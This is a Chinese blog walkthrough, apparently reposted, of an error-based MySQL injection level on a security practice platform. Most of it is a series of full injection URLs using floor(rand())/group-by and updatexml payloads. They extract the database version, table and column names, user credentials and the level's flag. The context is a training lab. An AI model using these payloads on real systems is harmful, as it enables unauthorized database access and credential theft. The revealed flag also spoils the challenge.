网络信息安全攻防学习平台注入关ErrorBased过关攻略

独自等待 2017年5月12日02:02:14评论580 views字数 2860阅读9分32秒阅读模式

最近比较忙,好久不有研究这个网络信息安全攻防学习平台了,发现还是有好多小伙伴在我的博客留言,求过关攻略的。。感谢大家对我的支持,今天有空再撸一个新加的关卡吧。。

网络学习经过N久的发展,已经变更了域名,如果小伙伴们使用我以前的py脚本不能成功获取密码的,请修改一下域名地址。

今天的主角是ErrorBased过关攻略,过关地址如下:

http://hackinglab.cn/index_4.php

网络信息安全攻防学习平台注入第1关(新增的)

过关提示:本题目为手工注入学习题目,主要用于练习基于Mysql报错的手工注入。Sqlmap一定能跑出来,所以不必测试了。flag中不带key和#

本关是手工注入的学习题目,所以请大家不要使用工具去跑了,自己来过比较好一点。

http://www.waitalone.cn/mysql-error-based-injection.html

如果暴错注入不熟悉的同学们,请参考上面的文章,下面是过关的过程。

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

得到:5.1.61-Alibaba-rds-201404-log

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

得到数据库:r0866cplushua

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

猜解表名:log,motto,user,请修改limit 后面的0改变注入数据

首先根据平时的经验,我们看一下user表里面的数据,如下:

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x75736572 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

得到如下几个字段 id,username,password 请修改limit 后面的0改变注入数据

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e,username,0x3a,password,0x7e) FROM user limit 0,1),0x7e),1)%23

猜解内容如下:

admin,password
guest,guest
test,1234

发现没有我们需要的数据,那么数据可能不在user表,接着猜解motto表。

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x6D6F74746F LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

得到如下字段:id,username,motto

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e,username,0x3a,motto,0x7e) FROM motto limit 0,1),0x7e),1)%23

得到如下内容:(请修改limit 后面的0改变注入数据)

admin:mymotto
guest:happy everyday
test:nothing help
#adf#ad@@#:key#notfound!#

注入关ErrorBased

不带key和# 那么密码就是notfound!

大家自己练习一下吧。。。。不要一来就看密码。



from www.waitalone.cn.thanks for it.

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月12日02:02:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网络信息安全攻防学习平台注入关ErrorBased过关攻略https://cn-sec.com/archives/50301.html

发表评论

匿名网友 填写信息